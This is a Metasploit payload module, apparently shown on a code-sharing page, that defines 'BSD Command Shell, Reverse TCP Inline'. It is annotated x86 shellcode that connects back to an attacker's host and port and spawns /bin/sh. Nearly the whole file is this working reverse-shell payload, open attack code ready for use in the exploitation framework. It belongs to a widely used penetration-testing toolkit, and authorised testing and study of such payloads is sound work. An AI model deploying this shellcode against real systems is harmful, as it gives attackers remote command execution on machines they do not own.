Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6

7
module MetasploitModule
8

9
  CachedSize = 64
10

11
  include Msf::Payload::Single
12
  include Msf::Payload::Bsd
13
  include Msf::Sessions::CommandShellOptions
14

15
  def initialize(info = {})
16
    super(merge_info(info,
17
      'Name'          => 'BSD Command Shell, Reverse TCP Inline',
18
      'Description'   => 'Connect back to attacker and spawn a command shell',
19
      'Author'        => 'Ramon de C Valle',
20
      'License'       => MSF_LICENSE,
21
      'Platform'      => 'bsd',
22
      'Arch'          => ARCH_X86,
23
      'Handler'       => Msf::Handler::ReverseTcp,
24
      'Session'       => Msf::Sessions::CommandShellUnix,
25
      'Payload'       =>
26
        {
27
          'Offsets' =>
28
            {
29
              'LHOST'    => [ 1, 'ADDR' ],
30
              'LPORT'    => [ 8, 'n'    ],
31
            },
32
          'Payload' =>
33
            "\x68\x7f\x00\x00\x01" + #   pushl   $0x0100007f                #
34
            "\x68\xff\x02\x04\xd2" + #   pushl   $0xd20402ff                #
35
            "\x89\xe7"             + #   movl    %esp,%edi                  #
36
            "\x31\xc0"             + #   xorl    %eax,%eax                  #
37
            "\x50"                 + #   pushl   %eax                       #
38
            "\x6a\x01"             + #   pushl   $0x01                      #
39
            "\x6a\x02"             + #   pushl   $0x02                      #
40
            "\x6a\x10"             + #   pushl   $0x10                      #
41
            "\xb0\x61"             + #   movb    $0x61,%al                  #
42
            "\xcd\x80"             + #   int     $0x80                      #
43
            "\x57"                 + #   pushl   %edi                       #
44
            "\x50"                 + #   pushl   %eax                       #
45
            "\x50"                 + #   pushl   %eax                       #
46
            "\x6a\x62"             + #   pushl   $0x62                      #
47
            "\x58"                 + #   popl    %eax                       #
48
            "\xcd\x80"             + #   int     $0x80                      #
49
            "\x50"                 + #   pushl   %eax                       #
50
            "\x6a\x5a"             + #   pushl   $0x5a                      #
51
            "\x58"                 + #   popl    %eax                       #
52
            "\xcd\x80"             + #   int     $0x80                      #
53
            "\xff\x4f\xe8"         + #   decl    -0x18(%edi)                #
54
            "\x79\xf6"             + #   jns     <cntsockcode+34>           #
55
            "\x68\x2f\x2f\x73\x68" + #   pushl   $0x68732f2f                #
56
            "\x68\x2f\x62\x69\x6e" + #   pushl   $0x6e69622f                #
57
            "\x89\xe3"             + #   movl    %esp,%ebx                  #
58
            "\x50"                 + #   pushl   %eax                       #
59
            "\x54"                 + #   pushl   %esp                       #
60
            "\x53"                 + #   pushl   %ebx                       #
61
            "\x50"                 + #   pushl   %eax                       #
62
            "\xb0\x3b"             + #   movb    $0x3b,%al                  #
63
            "\xcd\x80"              #   int     $0x80                      #
64
        }
65
    ))
66
  end
67
end
68

69